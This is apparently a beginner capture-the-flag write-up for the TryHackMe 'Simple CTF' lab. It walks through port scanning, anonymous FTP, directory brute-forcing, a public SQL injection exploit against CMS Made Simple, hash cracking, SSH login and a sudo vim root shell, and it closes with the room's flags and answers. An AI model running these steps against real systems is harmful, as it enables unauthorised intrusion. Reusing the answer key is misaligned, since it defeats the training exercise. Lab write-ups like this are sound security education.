

TryHackMe: Simple CTF

Link : <https://tryhackme.com/room/easyctf>

Difficulty: Easy

Categories: Enumeration, FTP, CMS Exploitation, Privilege Escalation

Overview:

This CTF is designed for beginners to practice basic penetration testing techniques. We'll perform reconnaissance, exploit vulnerabilities, gain initial access, and escalate privileges to capture both **user.txt** and **root.txt** flags.

1. RECONNAISSANCE

Initial Scanning (Port scanning)

The first step in any successful exploitation is to find an entry point. The tool of choice for this is, of course, nmap. nmap is a powerful tool that allows us to scan a target machine for open ports. We'll use the aggressive (-A) option, as we aren't in much danger of detection here.

```
root@ip-10-10-75-188:~# nmap -sS -A 10.10.159.53
Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-10 14:01 BST
Nmap scan report for ip-10-10-159-53.eu-west-1.compute.internal (10.10.159.53)
Host is up (0.00055s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ STAT:
| FTP server status:
|   Connected to ::ffff:10.10.75.188
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 3
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_ /openemr-5_0_1_3
| http-server-header: Apache/2.4.18 (Ubuntu)
| http-title: Apache2 Ubuntu Default Page: It works
2222/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux protocol 2.0)
```

Findings:

- Port 21: FTP (vsftpd 3.0.3)
- Port 80: HTTP (Apache httpd 2.4.18)
- Port 2222: SSH (OpenSSH 7.2p2 Ubuntu 4ubuntu2.8)

2. ENUMERATION

Try anonymous FTP login: check for interesting files

```
root@ip-10-10-75-188:~# ftp 10.10.159.53
Connected to 10.10.159.53.
220 (vsFTPd 3.0.3)
Name (10.10.159.53:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp           4096 Aug 17  2019 pub
226 Directory send OK.
ftp> cd pub
200 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt
226 Directory send OK.
ftp> get ForMitch.txt
Local: ForMitch.txt remote: ForMitch.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ForMitch.txt (166 bytes).
226 Transfer complete.
166 bytes received in 0.00 secs (162.1094 kB/s)
ftp> exit
221 Goodbye.
root@ip-10-10-75-188:~# cat ForMitch.txt
Dammit man... you're the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!
root@ip-10-10-75-188:~#
```

```
root@ip-10-10-75-188:~# ftp 10.10.159.53
Connected to 10.10.159.53.
220 (vsFTPd 3.0.3)
Name (10.10.159.53:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp           4096 Aug 17  2019 pub
226 Directory send OK.
ftp> cd pub
200 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt
226 Directory send OK.
ftp> get ForMitch.txt
Local: ForMitch.txt remote: ForMitch.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ForMitch.txt (166 bytes).
226 Transfer complete.
166 bytes received in 0.00 secs (162.1094 kB/s)
ftp> exit
221 Goodbye.
root@ip-10-10-75-188:~# cat ForMitch.txt
Dammit man... you're the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!
root@ip-10-10-75-188:~#
```

Got a hint that the username would be likely : Mitch and password is a simple one.

In the ftp root, there was a directory called pub. Inside there was a file called ForMitch.txt. In vain 😞 Then manually checked for other common files like robots.txt

Web Enumeration

Now that we know which ports are open, we proceed to enumerate each service for more information. This involves accessing services manually and using automated tools like Gobuster to identify hidden files or directories

```
root@ip-10-10-75-188:~# gobuster dir -u http://10.10.159.53 -w /usr/share/dirb/wordlists/big.txt -t 128
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://10.10.159.53
[+] Method:       GET
[+] Threads:      128
[+] Wordlist:     /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.6
[+] Timeout:      10s
=====
[+] Starting gobuster in directory enumeration mode
=====
/.htpasswd      (Status: 403) [Size: 296]
/.htaccess       (Status: 403) [Size: 296]
/robots.txt      (Status: 200) [Size: 929]
/server-status    (Status: 403) [Size: 300]
/simple          (Status: 301) [Size: 313]
Progress: 20469 / 20470 (100.00%)
=====
[+] Finished
=====
root@ip-10-10-75-188:~#
```

3. EXPLOITATION

```
root@ip-10-10-178-76:~# curl http://10.10.5.50/simple/
<!DOCTYPE html>
<!--[if IE 8]>         <html lang='en' dir='ltr' class='lt-ie9'> <![endif]-->
<!--[if gt IE 8]><!--> <html lang='en' dir='ltr'> <!--<![endif]--><head>
    <meta charset='UTF-8' />

    <base href="http://10.10.5.50/simple/" />
    <meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

        <title>Home - Pentest it</title>
        <meta name='HandheldFriendly' content='True' />
        <meta name='MobileOptimized' content='320' />
        <meta name='viewport' content='width=device-width, initial-scale=1' />
        <meta http-equiv='cleartype' content='on' />
        <meta name='msapplication-TileImage' content='http://10.10.5.50/simple/uploads/simplex/images/icons/cmsms-152x152.png' />
```

The /simple URI looks interesting, let's see what's behind there

CMS Identification:

The screenshot shows a web browser window with the URL 10.10.5.50/simple/. The page title is "CMS Made simple". The navigation menu includes "HOME", "HOW CMSMS WORKS", "DEFAULT TEMPLATES EXPLAINED", and "DEFAULT EXTENSIONS". Below the menu, there is a banner with the text "POWERED END PROFESSIONAL & SIMPLICITY END NEEDS".

On the home page, we see that we have a fresh installation of a CMS application called CMS Made Simple



© Copyright 2004 - 2025 - CMS Made Simple
This site is powered by [CMS Made Simple](#)
version 2.2.8

Check for any known exploits for this application

The screenshot shows the Exploit Database interface. A search bar at the top contains the query "CMS Made Simple < 2.2.10 - SQL Injection". The results table has columns for EDB-ID, CVE, Author, Type, Platform, Date, Exploit, and Vulnerable App. One result is shown for CMS Made Simple < 2.2.10 - SQL Injection, with the following details:

| EDB-ID | CVE | Author | Type | Platform | Date | Exploit | Vulnerable App |
|--------|-----------|---------------|---------|----------|------------|--|----------------------|
| 46635 | 2019-9053 | DANIELE SCANU | WEBAPPS | PHP | 2019-04-02 | Download / Details | View |

Found the exploit 46635.py and let's unwrap it further.

```

└─$ searchsploit "CMS Made Simple"
Exploit Title | Path
-----|-----
CMS Made Simple(CMSMS) Showtime2 - File Upload Remote Code Executio | php/remote/46627.rb
CMS Made Simple0.10 - 'index.php' Cross-Site Scripting | php/webapps/26298.txt
CMS Made Simple0.10 - 'Lang.php' Remote File Inclusion | php/webapps/26217.html
CMS Made Simple1.0.2 - 'SearchInput' Cross-Site Scripting | php/webapps/29272.txt
CMS Made Simple1.0.5 - 'Stylesheet.php' SQL Injection | php/webapps/29941.txt
CMS Made Simple1.11.10 - Multiple Cross-Site Scripting Vulnerabilit | php/webapps/32668.txt
CMS Made Simple1.11.9 - Multiple Vulnerabilities | php/webapps/43889.txt
CMS Made Simple1.2 - Remote Code Execution | php/webapps/4442.txt
CMS Made Simple1.2.2 Module TinyMCE - SQL Injection | php/webapps/4810.txt
CMS Made Simple1.2.4 Module FileManager - Arbitrary File Upload | php/webapps/5600.php
CMS Made Simple1.4.1 - Local File Inclusion | php/webapps/7285.txt
CMS Made Simple1.6.2 - Local File Disclosure | php/webapps/9407.txt
CMS Made Simple1.6.6 - Local File Inclusion / Cross-Site Scripting | php/webapps/33643.txt
CMS Made Simple1.6.6 - Multiple Vulnerabilities | php/webapps/11424.txt
CMS Made Simple1.7 - Cross-Site Request Forgery | php/webapps/12009.html
CMS Made Simple1.8 - default_cms_lang' Local File Inclusion | php/webapps/34299.py
CMS Made Simple1.x - Cross-Site Scripting / Cross-Site Request Forg | php/webapps/34068.html
CMS Made Simple2.1.6 - 'cntnt01detailtemplate' Server-Side Template | php/webapps/48944.py
CMS Made Simple2.1.6 - Multiple Vulnerabilities | php/webapps/41997.txt
CMS Made Simple2.1.6 - Remote Code Execution | php/webapps/44192.txt
CMS Made Simple2.2.14 - Arbitrary File Upload (Authenticated) | php/webapps/48779.py
CMS Made Simple2.2.14 - Authenticated Arbitrary File Upload | php/webapps/48742.txt
CMS Made Simple2.2.14 - Persistent Cross-Site Scripting (Authentica | php/webapps/48851.txt
CMS Made Simple2.2.15 - 'title' Cross-Site Scripting (XSS) | php/webapps/49793.txt
CMS Made Simple2.2.15 - RCE (Authenticated) | php/webapps/49345.txt
CMS Made Simple2.2.15 - Stored Cross-Site Scripting via SVG File Up | php/webapps/49199.txt
CMS Made Simple2.2.5 - (Authenticated) Remote Code Execution | php/webapps/44976.py
CMS Made Simple2.2.7 - (Authenticated) Remote Code Execution | php/webapps/45793.py
CMS Made Simple< 1.12.1 / < 2.1.3 - Web Server Cache Poisoning | php/webapps/39760.txt
CMS Made Simple< 2.2.10 - SQL Injection | php/webapps/46635.py
CMS Made SimpleModule Antz Toolkit 1.02 - Arbitrary File Upload | php/webapps/34300.py
CMS Made SimpleModule Download Manager 1.4.1 - Arbitrary File Uplo | php/webapps/34298.py
CMS Made SimpleShowtime2 Module 3.6.2 - (Authenticated) Arbitrary F | php/webapps/46546.py
CmsMadeSimplev2.2.17 - Remote Code Execution (RCE) | php/webapps/51600.txt
CmsMadeSimplev2.2.17 - session hijacking via Server-Side Template | php/webapps/51599.txt

```

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

Found SQL Injection /php/webapps/46635.py

The one we want is the SQL Injection, we can see that it points to php/webapps/46635.py. On a Kali Linux, the exploits can be found at /usr/share/exploitdb/exploits.

We can copy it to a working directory and attempt to execute it.

Command: `python3 46635.py -u http://10.10.159.166/simple/`

```

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@adminny
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96

```

Command : hashcat -O -a 0 -m 10 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2
`/usr/share/wordlists/rockyou.txt`

But did not work

Then tried with hashcat mode 20 .

Hashcat was utilized to successfully recover the plaintext password from a salted MD5 hash, demonstrating the effectiveness of dictionary-based attacks in password cracking scenarios.

- Hashcat successfully cracked it, revealing: **secret**

```
(kali㉿ kali) [~]
$ hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename... /usr/share/wordlists/rockyou.txt
* Passwords..: 14344385
* Bytes.....: 139921507
* Keystream..: 14344385

0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret
```

4. GAINING FOOTHOLD

After getting the password let's see what's on the machine by logging in .

```
kali@kali: ~/Downloads ✘  kali@kali: ~/Downloads ✘  com@com-OptiPlex-5090: ~
(kali㉿ kali) [~/Downloads]
$ ssh mitch@10.10.44.162 -p 2222
The authenticity of host '[10.10.44.162]:2222' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTb08d0JPcHGgmeABEdQ5g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.44.162]:2222' (ED25519) to the list of known hosts.
mitch@10.10.44.162's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

Target Machine Information

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ ls
user.txt
$ cat user.txt
G00d j0b, keep up!
$
```

5. PRIVILEGE ESCALATION

Now that we have user level access final goal is to escalate our privileges to root.

Lets enumerate the home directory for more information.

Getting into the machine is all well and good, but we want to get a user with actual rights ;). Let's try to escalate to root. Oftentimes we can get a root shell by abusing misconfigurations in the system. sudo is generally a good first candidate to check.

```
Last login: Fri Jul 11 12:11:08 2025 from 10.23.141.117
$ ls
user.txt
$ cat user.txt      Target IP Address      Expires
G00d j0b, keep up!  10.10.44.162  43min 6s
$ ls /home
mitch  sunbath
```

Using ‘vim’ for root shell (it’s a highly configurable powerful text editor). Vim is a text editor with many interesting features, one of which is spawning a shell. Running vim with sudo will allow us to then spawn a root shell!

```
(kali㉿kali)-[~]
└─$ ssh mitch@10.10.44.162 -p 2222
mitch@10.10.44.162's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Fri Jul 11 12:35:22 2025 from 10.23.141.117
$ sudo vim -c ':!/bin/sh'      Target Machine
                                         20min 16s

# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
W3ll d0n3. You made it!
#
```

And the now system got spawned.

Room Questions & Answers:

| # | Question | Answer |
|----|--|-------------------------|
| 1 | How many services are under 1000? | 2 |
| 2 | What is running on the higher port? | ssh |
| 3 | What's the CVE you're using against the CMS? | CVE-2019-9053 |
| 4 | What type of vulnerability is it? | SQLi |
| 5 | What's the password? | secret |
| 6 | Where can you login with the details obtained? | SSH |
| 7 | What's the user flag? | G00d j0b, keep up! |
| 8 | What's the name of the other user? | sunbath |
| 9 | What can you leverage to spawn a privileged shell? | vim |
| 10 | What's the root flag? | W3ll d0n3. You made it! |

